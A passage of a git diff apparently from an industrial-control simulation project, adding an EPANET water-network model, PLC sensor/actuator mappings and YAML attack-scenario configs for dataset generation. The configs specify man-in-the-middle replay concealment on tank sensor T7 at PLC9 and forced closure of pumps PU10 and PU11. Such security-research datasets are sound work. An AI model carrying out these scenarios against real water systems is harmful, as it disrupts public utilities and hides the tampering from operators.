DMA2_pat 0.467323395 0.46612206 0.59346468 0.717203265 0.58625661 0.58625661 + DMA2_pat 0.6811629 0.647525235 0.68957232 0.716001915 0.70759251 0.68236425 + DMA2_pat 0.660740025 0.734022105 0.806102835 0.796492065 0.8421432 0.71239788 + DMA2_pat 0.59427819 0.4651884 0.494262675 0.44541789 0.326794845 0.512870205 + DMA2_pat 0.514033185 0.525662895 0.58264848 0.60125601 0.77919057 0.66289347 + DMA2_pat 0.68266398 0.72918282 0.5896263 0.603581955 0.588463335 0.65940456 + DMA2_pat 0.625678395 0.6977826 0.78267948 0.81756861 0.929213835 0.789657315 +; + DMA3_pat 0.54445029 0.481325625 0.422146245 0.35507628 0.32351394 0.359021565 + DMA3_pat 0.41031036 0.47343504 0.56023146 0.67464492 0.75355077 0.729879015 + DMA3_pat 0.670699635 0.7338243 0.70620726 0.76144134 0.714097845 0.83640189 + DMA3_pat 0.871909515 0.7377696 0.725933715 0.74960547 0.670699635 0.7338243 + DMA3_pat 0.587013555 0.426322695 0.44271972 0.413205075 0.432881505 0.491910795 + DMA3_pat 0.554219505 0.67883691 0.754263225 0.74442501 0.793616085 0.682116315 + DMA3_pat 0.695233935 0.646042845 0.593572365 0.59685177 0.639484035 0.646042845 + DMA3_pat 0.64276344 0.682116315 0.728027985 0.67883691 0.69195453 0.75754263 + DMA3_pat 0.7140936 0.70199031 0.50430339 0.395373855 0.314685315 0.28644432 + DMA3_pat 0.41958042 0.431683695 0.49623453 0.697955895 0.58902636 0.693921465 + DMA3_pat 0.693921465 0.766541145 0.693921465 0.5809575 0.70602474 0.70199031 + DMA3_pat 0.66568047 0.823023135 0.738300165 0.859332975 0.814954275 0.71005917 + DMA3_pat 0.60602679 0.485491065 0.455357145 0.391741065 0.368303565 0.411830355 + DMA3_pat 0.408482145 0.662946435 0.602678565 0.703125 0.65959821 0.619419645 + DMA3_pat 0.709821435 0.810267855 0.763392855 0.8203125 0.763392855 0.599330355 + DMA3_pat 0.6796875 0.60602679 0.689732145 0.813616065 0.703125 0.666294645 + DMA3_pat 0.622706415 0.57454128 0.454128435 0.36811926 0.330275235 0.44036697 + DMA3_pat 0.4059633 0.61926606 0.89105505 0.94610091 0.739678905 0.564220185 + DMA3_pat 0.457568805 0.40252293 0.670871565 0.64678899 0.591743115 0.557339445 + DMA3_pat 0.622706415 0.82568808 0.89105505 0.85321101 0.75344037 0.770642205 + DMA3_pat 0.745526835 0.59269383 0.48832008 0.380218695 0.335487075 0.37649106 + DMA3_pat 0.44731611 0.562872765 0.525596415 0.71570577 0.63742545 0.58151094 + DMA3_pat 0.674701785 0.667246515 0.63742545 0.641153085 0.67097415 0.68588469 + DMA3_pat 0.6001491 0.730616295 0.8499006 0.86853876 0.84244533 0.7417992 + DMA3_pat 0.6641934 0.527764485 0.513403545 0.45955002 0.359023455 0.477501195 + DMA3_pat 0.527764485 0.56366682 0.610339875 0.63547152 0.8006223 0.71804691 + DMA3_pat 0.61393011 0.60674964 0.62111058 0.61393011 0.71804691 0.574437525 + DMA3_pat 0.581617995 0.667783635 0.678554325 0.91550982 0.825753945 0.72522738 +; + DMA4_pat 0.52452531 0.448575945 0.43670886 0.31803798 0.31803798 0.327531645 + DMA4_pat 0.424841775 0.43196202 0.574367085 0.664556955 0.69066456 0.740506335 + DMA4_pat 0.761867085 0.764240505 0.71914557 0.68591772 0.828322785 0.828322785 + DMA4_pat 0.74525316 0.80933544 0.830696205 0.702531645 0.77373417 0.65031645 + DMA4_pat 0.497324115 0.45033285 0.438585045 0.4346691 0.426837225 0.532567545 + DMA4_pat 0.634381935 0.708784755 0.76360788 0.71661663 0.761649915 0.79493538 + DMA4_pat 0.76948179 0.62655006 0.59913849 0.58347474 0.60109647 0.59326458 + DMA4_pat 0.56781099 0.59326458 0.628508025 0.771439755 0.698994915 0.8066832 + DMA4_pat 0.731355255 0.66639936 0.534081795 0.39695268 0.324779475 0.257417805 + DMA4_pat 0.423416205 0.43785084 0.548516445 0.69286287 0.61347234 0.75060144 + DMA4_pat 0.772253415 0.673616685 0.695268645 0.663993585 0.579791505 0.685645545 + DMA4_pat 0.67121091 0.83239776 0.73857258 0.878107455 0.75060144 0.680833995 + DMA4_pat 0.67206477 0.487854255 0.530364375 0.414979755 0.346153845 0.421052625 + DMA4_pat 0.467611335 0.578947365 0.65991903 0.710526315 0.720647775 0.619433205 + DMA4_pat 0.71862348 0.71255061 0.763157895 0.70850202 0.6659919 0.526315785 + DMA4_pat 0.62955465 0.63360324 0.716599185 0.76518219 0.7611336 0.769230765 + DMA4_pat 0.716646015 0.584469225 0.499793475 0.396530355 0.311854605 0.452292435 + DMA4_pat 0.4378356 0.607187115 0.824039655 0.830235435 0.745559685 0.6464271 + DMA4_pat 0.419248245 0.46468401 0.59066502 0.636100785 0.59273028 0.660883935 + DMA4_pat 0.70425444 0.743494425 0.75175548 0.81164808 0.875671215 0.695993385 + DMA4_pat 0.66012042 0.58486239 0.498853215 0.432196095 0.341886465 0.348337155 + DMA4_pat 0.46875 0.520355505 0.53110665 0.64076835 0.645068805 0.58056192 + DMA4_pat 0.6880734 0.73107798 0.733228215 0.66227064 0.66012042 0.642918585 + DMA4_pat 0.62141628 0.75258027 0.78698394 0.80633601 0.84073968 0.82138761 + DMA4_pat 0.592819365 0.473838015 0.46131366 0.45505149 0.37364319 0.44670192 + DMA4_pat 0.457138875 0.475925415 0.651266355 0.738936825 0.72641247 0.707625945 + DMA4_pat 0.66170331 0.64500417 0.638742 0.617868075 0.66170331 0.642916785 + DMA4_pat 0.632479815 0.713888115 0.778597275 0.74311161 0.930976905 0.77233509 +; + DMA5_pat 0.536089695 0.44148564 0.40732305 0.28644009 0.32323056 0.33111423 + DMA5_pat 0.3679047 0.504555015 0.588647505 0.622810095 0.725297835 0.73843728 + DMA5_pat 0.769971975 0.69376314 0.69376314 0.75946041 0.814646115 0.806762445 + DMA5_pat 0.851436585 0.814646115 0.76734408 0.71478627 0.79887876 0.64120533 + DMA5_pat 0.55547391 0.49595886 0.454077885 0.436443795 0.49816311 0.53122704 + DMA5_pat 0.61058046 0.601763415 0.745040415 0.745040415 0.689933865 0.68111682 + DMA5_pat 0.654665685 0.68111682 0.62821455 0.59515062 0.63923586 0.614988975 + DMA5_pat 0.65686995 0.58853784 0.614988975 0.740631885 0.826598085 0.71418075 + DMA5_pat 0.766876695 0.70477047 0.4860486 0.36723672 0.30783078 0.30783078 + DMA5_pat 0.40774077 0.44824482 0.50495049 0.68316831 0.66426642 0.73987398 + DMA5_pat 0.69396939 0.64266426 0.772277235 0.55355535 0.58865886 0.758775885 + DMA5_pat 0.65346534 0.826282635 0.818181825 0.815481555 0.812781285 0.6750675 + DMA5_pat 0.655253835 0.45823494 0.52021842 0.354191265 0.34312278 0.438311685 + DMA5_pat 0.45823494 0.626475795 0.668536005 0.75044274 0.719451 0.697314045 + DMA5_pat 0.768152295 0.803571435 0.63311688 0.66410862 0.728305785 0.59327037 + DMA5_pat 0.672963405 0.66632232 0.60655254 0.799144035 0.7216647 0.653040135 + DMA5_pat 0.6371388 0.55660824 0.558976785 0.41686404 0.305542395 0.42870678 + DMA5_pat 0.41686404 0.59687352 0.779251545 0.83135955 0.743723355 0.67740408 + DMA5_pat 0.45712932 0.414495495 0.549502605 0.575556615 0.618190425 0.603979155 + DMA5_pat 0.667929885 0.81951681 0.78162009 0.902415915 0.878730465 0.78162009 + DMA5_pat 0.702570165 0.57067974 0.454007445 0.426107535 0.367771395 0.352553265 + DMA5_pat 0.443862015 0.50219817 0.598579635 0.733006425 0.6898884 0.58336152 + DMA5_pat 0.765979035 0.613797765 0.644234025 0.649306725 0.644234025 0.62394318 + DMA5_pat 0.593506935 0.76090632 0.763442685 0.88011498 0.84206967 0.79387893 + DMA5_pat 0.59737737 0.48324429 0.44924721 0.43224867 0.3569694 0.446818845 + DMA5_pat 0.50024283 0.5755221 0.66779991 0.752792625 0.755220975 0.628946085 + DMA5_pat 0.721223895 0.66294318 0.541525005 0.55852356 0.582807195 0.67022826 + DMA5_pat 0.672656625 0.66779991 0.755220975 0.88392423 0.847498785 0.78921807 + +[CURVES] +;ID X-Value Y-Value +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 6 16.88889 156.7 + 6 19.5 146.5 + 6 22.13889 136.2 + 6 25.94445 117.9 + 6 33.33334 50 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 7 18.25 75 + 7 23.38889 64 + 7 30.63889 46 + 7 38.88889 0 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 4 30.12222 221.76 + 4 37.63612 202.41 + 4 43.73056 182.16 + 4 47.22223 160 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 5 31.91389 217.27 + 5 37.87778 201.91 + 5 42.55278 187.15 + 5 50 140 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 2 9.888889 72.2 + 2 12.52778 62.3 + 2 13.33333 57.9 + 2 18.05556 0 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 3 11.30278 76.59 + 3 12.65833 68.19 + 3 14.03056 60.29 + 3 18.05556 0 +;PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: PUMP: + 1 3.997222 64.86 + 1 41.90556 48.48 + 1 56.13611 43.96 + 1 69.46667 39.56 + 1 77.29445 34.53 + 1 97.66111 28.83 + 1 138.8889 1 +;PUMP: + 8 0 70 + 8 60 50 + 8 100 30 +;PUMP: + 9 0 90 + 9 30 70 + 9 50 30 +;PUMP: + 10 0 120 + 10 30 110 + 10 70 30 +;PUMP: + 11 0 90 + 11 30 50 + 11 40 10 + +[CONTROLS] +; ----------- Tank 1 --------------- +LINK PU1 OPEN IF NODE T1 BELOW 4 +LINK PU1 CLOSED IF NODE T1 ABOVE 6.3 + +LINK PU2 OPEN IF NODE T1 BELOW 1 +LINK PU2 CLOSED IF NODE T1 ABOVE 4.5 + +; ----------- Valve to T2 --- +LINK V2 OPEN IF NODE T2 BELOW .5 +LINK V2 CLOSED IF NODE T2 ABOVE 5.5 + +; ----------- T3 --- +LINK PU4 OPEN IF NODE T3 BELOW 3 +LINK PU4 CLOSED IF NODE T3 ABOVE 5.3 + +LINK PU5 OPEN IF NODE T3 BELOW 1 +LINK PU5 CLOSED IF NODE T3 ABOVE 3.5 + +; ----------- T4 --- +LINK PU6 OPEN IF NODE T4 BELOW 2 +LINK PU6 CLOSED IF NODE T4 ABOVE 3.5 + +LINK PU7 OPEN IF NODE T4 BELOW 3 +LINK PU7 CLOSED IF NODE T4 ABOVE 4.5 + +; ----------- T5 --- +LINK PU8 OPEN IF NODE T5 BELOW 1.5 +LINK PU8 CLOSED IF NODE T5 ABOVE 4.0 + +; ----------- T7 --- +LINK PU10 OPEN IF NODE T7 BELOW 1.5 +LINK PU10 CLOSED IF NODE T7 ABOVE 4.8 + +LINK PU11 OPEN IF NODE T7 BELOW 0.5 +LINK PU11 CLOSED IF NODE T7 ABOVE 3 + + +[RULES] + + + + + + + + + + + + + + + +[ENERGY] + Global Efficiency 70.0000 + Global Price 0 + Demand Charge 0.0000 + Pump PU1 Price 1.0000 + Pump PU2 Price 1.0000 + Pump PU3 Price 1.0000 + Pump PU4 Price 1.0000 + Pump PU5 Price 1.0000 + Pump PU6 Price 1.0000 + Pump PU7 Price 1.0000 + Pump PU8 Price 1.0000 + Pump PU9 Price 1.0000 + Pump PU10 Price 1.0000 + Pump PU11 Price 1.0000 + +[EMITTERS] +;Junction Coefficient + +[QUALITY] +;Node InitQual + +[SOURCES] +;Node Type Quality Pattern + +[REACTIONS] +;Type Pipe/Tank Coefficient + + +[REACTIONS] + Order Bulk 1.00 + Order Tank 1.00 + Order Wall 1 + Global Bulk 0.000000 + Global Wall 0.000000 + Limiting Potential 0 + Roughness Correlation 0 + +[MIXING] +;Tank Model + +[TIMES] + Duration 24 + Hydraulic Timestep 0:05 + Quality Timestep 0:05 + Pattern Timestep 1:00 + Pattern Start 0:00 + Report Timestep 0:05 + Report Start 0:00 + Start ClockTime 0:00:00 + Statistic NONE + +[REPORT] + Status No + Summary No + Page 0 + +[OPTIONS] + Units LPS + Headloss H-W + Specific Gravity 1.000000 + Viscosity 1.000000 + Trials 100 + Accuracy 0.00100000 + CHECKFREQ 2 + MAXCHECK 10 + DAMPLIMIT 0 + Unbalanced Continue 10 + Pattern 1 + Demand Multiplier 1 + Emitter Exponent 0.5000 + Quality NONE mg/L + Diffusivity 1.000000 + Tolerance 0.01000000 + DEMAND MODEL PDA + MINIMUM PRESSURE 0 + REQUIRED PRESSURE 20 + PRESSURE EXPONENT 0.5 + + +[COORDINATES] +;Node X-Coord Y-Coord + J511 -246643.52 150768.11 + J411 -248212.98 148750.19 + J414 -247493.99 148416.24 + J415 -246594.18 149477.91 + J416 -246486.73 149817.86 + J417 -247408.47 148278.46 + J418 -246985.61 148482.76 + J419 -246866.83 148824.85 + J310 -247788.57 148853.36 + J311 -247845.59 148962.64 + J312 -247850.34 149138.43 + J313 -247802.83 149048.16 + J314 -248553.52 149542.29 + J315 -248634.29 149613.56 + J316 -248943.12 149247.71 + J318 -247964.37 148976.89 + J319 -248030.89 148896.12 + J210 -248791.08 149048.16 + J211 -248900.36 149390.25 + J212 -248672.30 149242.96 + J214 -248495.29 148973.68 + J217 -248681.81 149471.02 + J218 -248767.33 149299.98 + J219 -247413.22 150126.69 + J110 -247921.61 147893.61 + J420 -246919.09 148962.64 + J421 -247060.44 148293.87 + J422 -246957.10 148767.84 + J1153 -247793.32 149509.03 + J1154 -247988.12 149547.04 + J1155 -247874.09 149551.79 + J425 -246759.83 149576.07 + J426 -246649.40 149729.45 + J1157 -247870.26 149649.69 + J427 -246649.40 149594.48 + J1158 -247931.11 149437.76 + J428 -247978.62 148382.99 + J429 -248002.38 148297.46 + J320 -247617.53 148915.13 + J321 -247555.76 148763.09 + J322 -247451.23 148767.84 + J324 -247545.10 148625.15 + J1056 -248271.79 148956.04 + J327 -247684.04 148981.64 + J1058 -246843.07 148050.40 + J328 -247589.02 149057.66 + J329 -247517.75 149086.17 + J220 -247384.72 150017.41 + J221 -247650.79 149356.99 + J225 -249057.15 149171.69 + J226 -249218.70 149029.16 + J50 -247845.59 149276.22 + J51 -247788.57 149366.49 + J53 -247612.78 150639.83 + J54 -247723.02 150717.18 + J128 -247446.48 151143.46 + J55 -247802.77 150140.49 + J129 -247140.19 151214.11 + J56 -247608.02 150250.23 + J57 -247527.25 150155.20 + J58 -247688.80 150388.01 + J59 -247551.01 149960.40 + J1160 -247379.97 148131.17 + J1161 -247194.67 148226.19 + J431 -247802.83 148088.41 + J432 -247579.52 148159.68 + J433 -247741.06 148235.70 + J434 -247935.86 148487.51 + J435 -248007.13 148107.41 + J436 -247973.87 148230.95 + J438 -248026.13 148644.30 + J1169 -246120.89 148877.12 + J439 -248030.89 148449.50 + J330 -247636.53 149143.19 + J331 -247598.52 149214.45 + J332 -247538.97 149631.29 + J333 -248368.22 149946.15 + J334 -248262.89 150005.52 + J335 -248506.01 149941.39 + J336 -248648.55 149912.89 + J337 -248857.60 149722.84 + J231 -247037.88 148853.36 + J232 -247132.90 148843.86 + J233 -246827.31 149717.18 + J234 -246913.17 149873.54 + J236 -247281.30 150502.45 + J237 -247408.47 150445.03 + J130 -247698.30 151076.94 + J131 -247109.52 151079.14 + J132 -247199.42 150943.91 + J133 -247280.19 150967.66 + J60 -247484.49 150055.42 + J134 -246919.09 150364.26 + J135 -246995.51 149926.48 + J62 -247650.79 150131.44 + J64 -247565.26 150720.60 + J65 -247446.94 150674.23 + J66 -247612.78 150426.02 + J67 -247630.99 150551.53 + J68 -247855.09 150658.83 + J69 -247950.11 150497.29 + J1170 -246291.93 148881.87 + J441 -246519.12 149644.17 + J444 -248244.69 149157.44 + J341 -248610.54 149798.86 + J344 -246282.43 148739.33 + J345 -246149.39 148739.33 + J347 -246396.46 148748.83 + J348 -247151.91 148725.08 + J349 -247322.95 148853.36 + J241 -247455.99 150273.98 + J242 -247322.95 150226.47 + J243 -247342.65 150152.76 + J244 -247470.24 150364.26 + J245 -247551.24 150367.49 + J246 -247037.88 150516.30 + J247 -247170.87 150477.91 + J248 -247033.12 150316.74 + J249 -247208.92 150378.51 + J142 -248363.47 148668.06 + J143 -248558.27 148729.83 + J70 -248011.88 150435.52 + J144 -248696.06 148672.81 + J71 -247888.66 150796.93 + J72 -248040.39 150692.09 + J73 -247796.64 150778.53 + J74 -248078.40 150616.07 + J76 -247851.85 150447.24 + J77 -247969.12 150777.61 + J78 -247912.10 149337.99 + J350 -246111.38 149062.41 + J351 -247417.98 148896.12 + J352 -247223.17 149005.40 + J353 -247351.46 149033.91 + J354 -247541.51 148881.87 + J355 -247305.84 148569.94 + J358 -247246.93 148653.81 + J359 -247170.91 148630.05 + J250 -247299.19 150311.99 + J251 -246796.64 150257.06 + J252 -246486.73 150240.72 + J253 -247436.98 151034.18 + J254 -247565.26 151152.96 + J257 -246638.77 150207.46 + J154 -246391.71 147798.58 + J155 -246500.98 147798.58 + J82 -247893.10 149204.95 + J156 -246301.43 147793.83 + J83 -247940.61 149081.42 + J84 -247189.27 150152.76 + J85 -247201.54 150269.33 + J159 -246692.34 147821.47 + J86 -247256.43 150050.67 + J87 -247056.88 150026.92 + J89 -247341.96 151305.00 + J360 -247227.93 148530.27 + J361 -247398.97 148611.05 + J362 -247408.47 149124.18 + J363 -246532.83 149938.04 + J364 -246649.40 149876.69 + J365 -248230.44 149309.48 + J366 -248344.47 149247.71 + J1208 -247256.43 149157.44 + J367 -248477.50 149399.75 + J369 -248287.45 149361.74 + J160 -246577.00 147812.84 + J161 -246961.86 147675.05 + J162 -246771.81 147513.51 + J163 -247227.93 147803.33 + J164 -246871.58 147675.05 + J91 -247262.89 151306.14 + J165 -246895.34 147770.08 + J166 -246895.34 147556.27 + J167 -246890.59 147432.74 + J94 -245797.80 148363.98 + J95 -247774.32 147884.11 + J96 -247622.28 147950.62 + J97 -247717.30 147964.88 + J976 -248468.00 148706.07 + J571 -247099.64 150635.08 + J572 -247164.73 150717.18 + J573 -247361.05 151207.98 + J574 -247441.73 151243.24 + J575 -247161.41 150858.38 + J576 -246937.74 150539.26 + J370 -248173.42 149447.26 + J371 -246630.99 150054.60 + J372 -249128.42 148934.13 + J373 -249180.69 148843.86 + J374 -248981.13 148934.13 + J375 -249014.39 149090.92 + J376 -249128.42 149067.17 + J377 -248800.59 148900.87 + J1219 -247660.29 147741.57 + J379 -249275.71 148929.38 + J171 -247332.45 147546.77 + J172 -247199.42 147485.00 + J173 -247332.45 147751.07 + J174 -247109.14 147432.74 + J175 -247085.39 147575.27 + J177 -247622.28 147808.09 + J179 -247774.32 147817.59 + J580 -246686.28 150677.84 + J486 -246995.11 150801.37 + J487 -247066.57 150876.69 + J488 -246974.55 150686.50 + J489 -247080.64 150986.67 + J381 -247322.95 148739.33 + J1223 -248795.84 149190.70 + J382 -247118.65 148948.38 + J384 -247161.41 149214.45 + J385 -246876.33 150098.19 + J180 -247227.93 147570.52 + J181 -247123.40 147698.81 + J1024 -248287.45 148587.29 + J183 -247408.47 147708.31 + J1025 -248225.69 148468.51 + J186 -247413.22 147627.54 + J187 -247265.94 147622.79 + J188 -247536.76 147565.77 + J189 -247446.48 147561.02 + J490 -246876.39 150753.99 + J491 -247072.71 150784.66 + J492 -246913.20 150858.28 + J493 -247226.08 151054.60 + J494 -246771.81 150668.33 + J495 -246881.08 150616.07 + J496 -246781.31 150511.54 + J497 -246765.96 150803.07 + J498 -246857.33 150483.04 + J500 -246610.26 150920.15 + J499 -246471.48 150925.77 + J501 -246440.81 150864.42 + J502 -246391.73 150956.44 + J503 -246462.97 150782.36 + J504 -246538.97 151036.20 + J394 -246173.15 149604.06 + J509 -246325.19 150806.12 + J399 -246287.43 149888.96 + J401 -246348.78 149809.20 + J406 -246201.54 149661.96 + J295 -248026.13 149290.47 + J407 -246424.96 149665.82 + J296 -248116.41 149228.71 + J408 -248235.19 148268.96 + J297 -247536.76 149299.98 + J298 -247712.55 149242.96 + J191 -247479.74 147461.24 + J303 -247897.85 148858.11 + J192 -247033.12 147850.85 + J193 -246957.10 147926.87 + J305 -247817.08 148758.33 + J194 -247493.99 147793.83 + J195 -247584.27 147651.29 + J196 -247375.21 147850.85 + J308 -248005.22 149796.93 + J198 -248311.21 149594.55 + J200 -248149.67 149547.04 + J199 -248250.62 149698.77 + J201 -247741.42 149704.91 + J202 -248591.53 149366.49 + J203 -248734.07 149594.55 + J204 -248306.46 149798.86 + J205 -248472.75 149314.23 + J206 -248339.72 149513.78 + J207 -248477.50 149499.53 + J208 -248843.35 149613.56 + J101 -247926.36 148017.14 + J102 -247812.33 147993.38 + J109 -248045.14 148007.64 + J1 -247075.89 147770.08 + J2 -247536.76 147694.06 + J3 -247265.94 148064.65 + J4 -247508.25 148007.64 + J5 -247641.28 148045.65 + J6 -247042.63 147988.63 + J7 -247170.91 147964.88 + J8 -246990.36 148221.44 + J9 -247109.14 148164.43 + J10 -247926.36 148178.68 + J11 -247836.08 148411.49 + J12 -247579.52 148363.98 + J13 -247731.56 148554.03 + J14 -247132.90 148463.76 + J15 -246353.70 149570.80 + J16 -246258.67 149437.76 + J17 -246287.43 149729.45 + J18 -246256.76 149551.53 + J19 -246404.00 149459.51 + J20 -246238.35 149778.53 + J21 -246391.71 149974.65 + J22 -246815.04 149974.85 + J23 -246759.83 150011.66 + J25 -246115.65 150361.35 + J26 -246152.46 150250.92 + J27 -246211.16 150440.28 + J28 -246054.37 149418.76 + J29 -245864.32 149732.34 + J30 -246268.17 150373.76 + J31 -246277.68 150259.73 + J32 -245750.29 149485.27 + J33 -246072.71 149563.80 + J34 -245949.84 149699.08 + J35 -246238.35 150097.55 + J36 -245935.59 149808.36 + J37 -246538.99 150083.93 + J38 -245907.06 149600.61 + J24 -249004.89 149756.10 + J39 -249114.17 149808.36 + J40 -248909.87 149033.91 + J123 -245474.72 148321.22 + J140 -245517.48 148444.75 + J141 -245579.24 148363.98 + J157 -245688.52 148316.47 + J158 -245588.75 148202.44 + J168 -245892.83 148397.24 + J170 -246021.11 148354.48 + J176 -245987.85 148511.27 + J178 -245888.07 148482.76 + J184 -245745.54 148459.01 + J185 -246078.12 148573.04 + J190 -246196.91 148539.78 + J197 -246358.45 148554.03 + J213 -246201.66 148401.99 + J215 -246258.67 148644.30 + J216 -246448.72 148587.29 + J227 -246557.37 148643.56 + J238 -246698.48 148643.56 + J239 -246524.74 148834.35 + J255 -246396.46 148948.38 + J256 -246771.81 148824.85 + J258 -246567.50 148516.02 + J260 -246296.68 148976.89 + J265 -245959.34 148706.07 + J266 -245945.09 148905.62 + J267 -247465.49 148976.89 + J61 -247916.86 150582.81 + J92 -247857.99 150551.53 + J268 -247992.88 149195.45 + J278 -246662.53 150506.79 + J281 -246458.22 150573.31 + J283 -246524.74 150682.59 + J284 -246330.38 150600.61 + J136 -247256.76 151232.52 + J137 -247185.16 147641.79 + J145 -245403.45 148430.50 + J118 -247765.96 150269.33 + J52 -247052.13 148710.82 + J81 -246164.73 149312.27 + J88 -246072.71 149827.61 + J90 -246581.76 150316.74 + J93 -246379.46 150201.84 + J147 -247275.44 150663.58 + J148 -247798.07 151015.18 + J149 -247790.50 151122.09 + J150 -247913.20 151048.47 + J151 -247527.25 151262.24 + J152 -246802.77 151183.44 + J153 -247600.32 151293.87 + J169 -246888.66 151109.82 + J182 -246833.44 150987.12 + J222 -246833.44 151115.95 + J224 -246735.29 151097.55 + J230 -247956.14 148717.18 + J235 -247969.12 148829.60 + J240 -246342.65 150698.77 + J269 -246215.91 147789.08 + J273 -246215.91 147936.37 + J274 -246215.91 147665.55 + J276 -246040.11 147665.55 + J280 -246044.87 147793.83 + J285 -246044.87 147936.37 + J287 -246866.83 149090.92 + J288 -246657.78 149109.93 + J289 -246743.30 149238.21 + J290 -246586.51 149204.95 + J291 -246496.02 149416.56 + J292 -246657.78 148791.59 + J299 -246596.01 148948.38 + J300 -246672.03 149014.90 + J301 -247232.22 149649.69 + J302 -247066.38 149722.84 + J304 -247394.22 149827.36 + J306 -247265.94 149903.38 + J307 -246942.85 149566.05 + J309 -247094.89 149613.56 + J317 -247023.62 149361.74 + J323 -247170.91 149409.25 + R1 -245840.56 147793.83 + T3 -246422.40 148459.51 + T1 -249114.17 149950.90 + T7 -247541.51 149418.76 + T6 -247033.12 149124.18 + T5 -247570.01 150863.14 + T2 -246845.71 148674.23 + T4 -246160.35 150738.12 + +[VERTICES] +;Link X-Coord Y-Coord + +[LABELS] +;X-Coord Y-Coord Label & Anchor Node + -245964.09 147727.31 "Source" R1 + -246572.25 148116.92 "Pumping Station S1" J285 + -249280.46 150121.94 "Tank T1" T1 + -247584.27 149585.05 "T7" T7 + -246904.84 148601.54 "T2" T2 + -251418.52 149865.37 "Tank T3" + -246462.97 148382.99 "T3" T3 + -247755.31 150934.40 "T5" T5 + -246211.16 150948.66 "T4" T4 + -247071.13 149285.72 "T6" T6 + -246596.01 149105.18 "S2" J300 + -247551.01 149832.12 "S4" J304 + -247318.20 149585.05 "S5" J323 + -246486.73 149328.48 "S3" J291 + +[BACKDROP] + DIMENSIONS -249469.32 147238.65 -245209.84 151508.59 + UNITS Meters + FILE + OFFSET 0.00 0.00 + +[END] \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/ctown_plcs.yaml b/examples/ctown_topology/dataset/dataset_config_files/ctown_plcs.yaml new file mode 100644 index 00000000..d5a54905 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/ctown_plcs.yaml @@ -0,0 +1,60 @@ +- name: PLC1 # PLC1, PU1F PU2F J280 J269 , PU1 PU2 + sensors: + - PU1F + - PU2F + - J280 + - J269 + actuators: + - PU1 + - PU2 +- name: PLC2 # PLC2, T1, + sensors: + - T1 +- name: PLC3 # PLC3, T2 V2F J300 J256 J289 J415 J14 J422 PU4F PU5F PU6F PU7F , V2 PU4 PU5 PU6 PU7 + sensors: + - T2 + - V2F + - J300 + - J256 + - J289 + - J415 + - J14 + - J422 + - PU4F + - PU5F + - PU6F + - PU7F + actuators: + - V2 + - PU4 + - PU5 + - PU6 + - PU7 +- name: PLC4 # PLC4, T3, + sensors: + - T3 +- name: PLC5 # PLC5, PU8F PU10F PU11F J302 J306 J307 J317, PU8 PU10 PU11 + sensors: + - PU8F + - PU10F + - PU11F + - J302 + - J306 + - J307 + - J317 + actuators: + - PU8 + - PU10 + - PU11 +- name: PLC6 # PLC6, T4, + sensors: + - T4 +- name: PLC7 # PLC7, T5, + sensors: + - T5 +- name: PLC8 # PLC8, T6, + sensors: + - T6 +- name: PLC9 # PLC9, T7, + sensors: + - T7 \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_01.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_01.yaml new file mode 100644 index 00000000..007dbf1a --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_01.yaml @@ -0,0 +1,32 @@ +network_attacks: +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 0.0 + target: PLC9 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +device_attacks: +- actuator: PU10 + command: closed + name: plc5attack1 + trigger: + start: 1440 + end: 1812 + type: time +- actuator: PU11 + command: closed + name: plc5attack2 + trigger: + start: 1440 + end: 1812 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_02.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_02.yaml new file mode 100644 index 00000000..1bb69212 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_02.yaml @@ -0,0 +1,32 @@ +network_attacks: +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 0.0 + target: PLC9 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +device_attacks: +- actuator: PU10 + command: closed + name: plc5attack1 + trigger: + start: 1440 + end: 1812 + type: time +- actuator: PU11 + command: closed + name: plc5attack2 + trigger: + start: 1440 + end: 1812 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_03.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_03.yaml new file mode 100644 index 00000000..33c8a80d --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_03.yaml @@ -0,0 +1,16 @@ +network_attacks: +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 4.5 + target: PLC9 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_04.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_04.yaml new file mode 100644 index 00000000..3a6f665d --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_04.yaml @@ -0,0 +1,16 @@ +network_attacks: +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 4.5 + target: PLC9 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_05.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_05.yaml new file mode 100644 index 